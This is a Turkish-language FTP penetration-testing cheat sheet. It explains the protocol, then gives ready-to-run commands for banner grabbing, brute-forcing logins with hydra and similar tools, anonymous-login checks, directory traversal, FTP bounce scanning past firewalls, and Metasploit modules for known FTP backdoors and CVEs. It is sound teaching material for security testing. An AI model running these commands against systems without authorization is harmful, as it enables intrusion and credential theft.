21 - FTP Pentesting
FTP Nedir?
FTP(File Transfer Protocol), iki sistem arasında dosya transferi yapmak için kullanılan bir protokoldür. Kullanıcının TCP/IP ağında olan herhangi bir sistem ile dosya yükleme ve indirme işlemini yapmasını sağlar. Genellikle 21 numaralı portu kullanır.
Bağlantıyı kurmak için genellikle kullanıcı adı ve parola bilgisinin girilmesi beklenir fakat anonim FTP’de bu beklenmez. Anonymous FTP, kullanıcıların username ve password bilgisine ihtiyaç duymadan dosyalara erişmesine izin veren bir FTP türüdür.
FTP Nasıl Çalışır?
FTP, control ve data kanalından oluşur. Control kanalı komutların alınıp yanıtların verildiği yerdir. Data kanalı ise, dosya transferini gerçekleştirir.
Bu bağlantı active ve pasive olarak iki şekilde kurulabilir. FTP sunucusu active ya da passive veya her ikisinide destekleyebilir.
Active Mode:
Bu modda, istemci(client) random bir porttan sunucunun(server) 21 numaralı portuna bağlanır ve sunucunun istemcinin hangi portuna bağlanması gerektiğini söyler. Sonrasında sunucu 20 numaralı porttan istemcinin söylediği porta bağlanır ve bu şekilde istemci-sunucu arasında veri aktarımı gerçekleşir.
Passive Mode:
Bu modda, istemci(client) random bir porttan sunucunun(server) 21 numaralı portuna bağlanır ve sunucu istemcinin hangi porta bağlanması gerektiğini söyler. İstemci sunucunun belirlediği porta bağlanır ve bu şekilde istemci-sunucu arasında veri aktarımı gerçekleşir.
FTP Için Bazı Araçlar
1
2
3
4
5
6
7
Linux:
ftp 10.10.11.101
ftp-ssl 10.10.11.101 // Eğer ftp ssl kullanıyorsa...
Windows:
filezilla
winscp
starttls kullanarak bağlanmak
1
2
3
4
5
6
7
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.11.101
lftp 10.10.11.101:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.11.101:~> login username Password
Browser ile bağlanmak
1
ftp://anonymous:anonymous@10.10.10.98
FTP sunucusundaki dosyayı locale mount etmek
1
curlftpfs ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/
FTP’den dosyaları indirme
1
2
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
FTP Komutları
USER
username
PASS
password
HELP
→ Sunucu, hangi komutların desteklendiğini gösterir
PORT
127,0,0,1,0,80 → FTP sunucusunun 80 numaralı bağlantı noktasında IP 127.0.0.1 ile bağlantı kurmasını söyler.
EPRT
|2|127.0.0.1|80| → FTP sunucusunun 80 numaralı bağlantı noktasındaki IP 127.0.0.1 ile bir TCP bağlantısı (“2” ile gösterilir) kurmasını belirtir. Bu komut IPv6’yı destekler.
LIST
→ Geçerli klasördeki dosyaların listesini gönderir
APPE
→ Sunucuya dosya aktarmak için kullanılır. Dosya ismi mevcutsa içerisine yazılır, mevcut değilse oluşturulur.
STOR
→ APPE Komutu gibi dosyaların üzerine yazar.
STOU
→ APPE Komutu gibi ancak mevcutsa yazmaz.
RETR
→ Sunucudaki bir dosyanın kopyasını indirmek için kullanılır. Sunucudaki dosya etkilenmez.
REST
6 → Sunucuya bir dahaki sefere RETR kullanarak bir şey gönderdiğinde bunun 6. baytta başlaması gerektiğini gösterecektir.
TYPE
→ İstemci tarafından aktarılmakta olan veri türünü sunucuya bildirmek için kullanılır. Modern Windows FTP istemcilerinin çoğu yalnızca tip A (ASCII) ve tip I (image/binary) ile ilgilenir.
PASV
→ Pasif bir bağlantı açacak ve kullanıcının ne zaman bağlanabileceğini gösterecektir.
PUT
→ Belirtilen dosyayı suncuya yükler.
FTP Protokolüne Yönelik Sızma Testi
Shodan Araması
Shodan, internetteki çeşitli cihazları arayıp bulabilmemizi sağlayan bir arama motorudur. Aşağıdaki aramada anonymous erişiminin olduğu ftp sunucuları listelenir.
![]() |
---|
FTP+"anonymous+logged+in" |
Servis Hakkında Bilgi Toplama
Banner Grabbing
Banner Grabbing, açık olan portlarda çalışan hizmetler hakkında bilgi edinmek için kullanılan bir tekniktir.
1
2
3
4
5
6
7
8
-> telnet 192.168.1.11 21
-> nc -nv 192.168.1.11 21
-> ftp 192.168.1.11 21
-> nmap -p21 192.168.1.11 21 -sV --script=banner
-> openssl s_client -connect crossfit.htb:21 -starttls ftp # Varsa sertifikasını alın
# Metasploit
msfconsole -q -x "use auxiliary/scanner/ftp/ftp_version; set RHOSTS 10.10.11.101; run; exit"
Basit Bir Nmap Taramsı
Nmap ile açık portların tespiti ve portlar üzerinde çalışan servisler hakkında keşif yapılabilir.
NSE Scriptlerini Kullanmak
1
2
3
4
5
6
7
8
9
-> ls /usr/share/nmap/scripts/ftp-* | grep -o "ftp.*"
ftp-anon.nse
ftp-bounce.nse
ftp-brute.nse
ftp-libopie.nse
ftp-proftpd-backdoor.nse
ftp-syst.nse
ftp-vsftpd-backdoor.nse
ftp-vuln-cve2010-4221.nse
Brute Force
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Ncrack
ncrack -U userlist.txt -P passlist.txt ftp://10.10.11.101:21 -v
# Medusa
medusa -h 10.10.11.101 -U userlist.txt -P passlist.txt -M ftp
# Hydra
hydra -L userlist.txt -P passlist.txt ftp://10.10.11.101:21 -F
# Patator
patator ftp_login host=10.10.11.101 user=FILE0 password=FILE1 0=userlist.txt 1=passlist.txt -x ignore:mesg='Login incorrect.'
# Metasploit
msf6 > use auxiliary/scanner/ftp/ftp_login
set USER_FULE /root/userlist.txt
set PASS_FILE /root/passlist.txt
set RHOSTS 10.10.11.101
run
FTP Anonymous Login Tespiti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Manual Test
anonymous : anonymous
anonymous :
ftp : ftp
# Nmap
nmap -sV -sC 10.10.11.101 -p 21
nmap -sV --script=ftp-anon 10.10.11.101 -p 21
# Metasploit
msf6 > use auxiliary/scanner/ftp/anonymous
set RHOSTS 10.10.11.101
set RPORT 21
run
Yaygın Güvenlik Açıkları
Directory Traversal
Directory traversal veya path traversal, saldırganın rastgele dosyalar okumasına izin veren bir güvenlik açığıdır.
../
ve çeşitli varyasyonları kullanılarak, uygulama koduna ve verilerine, arka uç sistemler için kimlik bilgilerine ve hassas işletim sistemi dosyalarına erişmek mümkündür.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# ftp 10.150.150.212 21
Connected to 10.150.150.212.
220-Wellcome to Home Ftp Server!
220 Server ready.
Name (10.150.150.212:root): anonymous
331 Password required for anonymous.
Password:
230 User Anonymous logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /
ftp> ls
227 Entering Passive Mode (10,150,150,212,192,46).
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Mar 26 2019 .
drw-rw-rw- 1 ftp ftp 0 Mar 26 2019 ..
drw-rw-rw- 1 ftp ftp 0 Mar 13 2019 FLAG
-rw-rw-rw- 1 ftp ftp 34419 Mar 26 2019 xampp-control.log
-rw-rw-rw- 1 ftp ftp 881 Nov 13 2018 zen.txt
226 File sent ok
ftp> ls ../
227 Entering Passive Mode (10,150,150,212,192,47).
150 Opening data connection for directory list.
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 boot.ini
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 eula.1031.txt
-rw-rw-rw- 1 ftp ftp 10134 Nov 07 2007 eula.1033.txt
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 eula.1036.txt
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 eula.1040.txt
-rw-rw-rw- 1 ftp ftp 118 Nov 07 2007 eula.1041.txt
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 eula.1042.txt
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 eula.2052.txt
-rw-rw-rw- 1 ftp ftp 17734 Nov 07 2007 eula.3082.txt
drw-rw-rw- 1 ftp ftp 0 Mar 26 2019 FTP
-rw-rw-rw- 1 ftp ftp 1110 Nov 07 2007 globdata.ini
-rwxrwxrwx 1 ftp ftp 562688 Nov 07 2007 install.exe
-rw-rw-rw- 1 ftp ftp 843 Nov 07 2007 install.ini
-rw-rw-rw- 1 ftp ftp 76304 Nov 07 2007 install.res.1028.dll
-rw-rw-rw- 1 ftp ftp 96272 Nov 07 2007 install.res.1031.dll
-rw-rw-rw- 1 ftp ftp 91152 Nov 07 2007 install.res.1033.dll
-rw-rw-rw- 1 ftp ftp 97296 Nov 07 2007 install.res.1036.dll
-rw-rw-rw- 1 ftp ftp 95248 Nov 07 2007 install.res.1040.dll
-rw-rw-rw- 1 ftp ftp 81424 Nov 07 2007 install.res.1041.dll
-rw-rw-rw- 1 ftp ftp 79888 Nov 07 2007 install.res.1042.dll
-rw-rw-rw- 1 ftp ftp 75792 Nov 07 2007 install.res.2052.dll
-rw-rw-rw- 1 ftp ftp 96272 Nov 07 2007 install.res.3082.dll
drw-rw-rw- 1 ftp ftp 0 Oct 29 2019 New folder
drw-rw-rw- 1 ftp ftp 0 Jul 14 2009 PerfLogs
dr--r--r-- 1 ftp ftp 0 Apr 02 2020 Program Files
dr--r--r-- 1 ftp ftp 0 Feb 28 2019 Program Files (x86)
drw-rw-rw- 1 ftp ftp 0 Oct 29 2019 temp
dr--r--r-- 1 ftp ftp 0 Nov 13 2018 Users
-rw-rw-rw- 1 ftp ftp 5686 Nov 07 2007 vcredist.bmp
-rw-rw-rw- 1 ftp ftp 1442522 Nov 07 2007 VC_RED.cab
-rw-rw-rw- 1 ftp ftp 232960 Nov 07 2007 VC_RED.MSI
drw-rw-rw- 1 ftp ftp 0 Jun 18 2020 Windows
drw-rw-rw- 1 ftp ftp 0 Mar 13 2019 xampp
226 File sent ok
ftp>
FTP Bounce
FTP Bounce saldırganın önce FTP sunucusuna bağlandığı ve ardından diğer sunuculara bağlanmak için PORT komutunu kullandığı bir istismar türüdür. Client’ın hem control hem de data bağlantılarını başlattığı pasif mod FTP’den yararlanır.
FTP Bounce Zafiyetinin Manual Tespit Edilmesi:
1
2
3
4
5
6
7
8
9
10
11
12
13
USER A
331 Username okay, awaiting password
PASS B
230 User logged in, proceed
PORT 172,32,80,80,0,8080
200 The requested action has been successfully completed
LIST
150 File status okay; about to open data connection // 8080 portunun açık olduğu anlamına gelir.
226 Closing data connection
PORT 172,32,80,80,0,7777
200 The requested action has been successfully completed
LIST
425 No connection established // 7777 portunun kapalı veya filtreli olduğu anlamına gelir.
FTP Bounce İçin Nmap ve Metasploit Kullanımı:
1
2
3
nmap -sV --script=ftp-bounce -p 21 10.10.11.101
nmap -Pn -sV -p 21 -b <vulnip> <targetip>
msf6 > use auxiliary/scanner/portscan/ftpbounce
Nmap kullanılarak farklı bir adrese veya zafiyetlinin bulunduğu ağda yerel tarama yapılabilir.
1
2
3
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Sunucunun yerel 21,80 portuna tarama yapar
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Zafiyetlinin iç networkünde keşif yapar.
Dışarıya kapalı port varsa veya porta ulaşmamızı engelleyen bir güvenlik duvarı varsa bu şekilde atlatılabilir.
Belirli Zafiyetler İçin Kullanılan Exploits, PoCs ve Scriptler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# ProFTPd-1.3.3c - Backdoor Command Execution [OSVDB-69562]
nmap -p 21 --script=ftp-proftpd-backdoor 10.10.11.101
# ProFTPd 1.3.2rc3/1.3.3b - Execute Arbitrary Code - [CVE-2010-4221]
nmap -p 21 --script=ftp-vuln-cve2010-4221 10.10.11.101
# vsftpd 2.3.4 - Backdoor Command Execution - [CVE-2011-2523]
nmap -p 21--script=ftp-vsftpd-backdoor 10.10.11.101
# BisonFTP 3.5 - Path Traversal - [CVE-2015-7602]
msf6 > use auxiliary/scanner/ftp/bison_ftp_traversal
# Titan FTP XCRC - Path Traversal - [CVE-2010-2426]
msf6 > use auxiliary/scanner/ftp/titanftp_xcrc_traversal
# PCMan FTP Server 2.0.7 - Path Traversal - [2015-7601]
msf6 > use auxiliary/scanner/ftp/pcman_ftp_traversal
# Easy File Sharing FTP Server <= 3.6 – Path Traversal - [CVE-2017-6510]
msf > use auxiliary/scanner/ftp/easy_file_sharing_ftp
# Konica Minolta FTP Utility 1.0 - Path Traversal - [CVE-2015-7603]
msf6 > use auxiliary/scanner/ftp/konica_ftp_traversal
# Konica Minolta FTP Utility 1.0 - CWD Command Overflow - [CVE-2015-7768]
msf6 > use exploit/windows/ftp/kmftp_utility_cwd
# vsftpd 2.3.4 - Backdoor Command Execution - [CVE-2011-2523]
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# ProFTPd-1.3.3c - Backdoor Command Execution [OSVDB-69562]
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
# ProFTPd 1.3.2rc3/1.3.3b - Execute Arbitrary Code - [CVE-2010-4221]
msf6 > use exploit/linux/ftp/proftp_telnet_iac
# ProFTPd 1.3.5 - (mod_copy) RCE - [CVE-2015-3306]
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec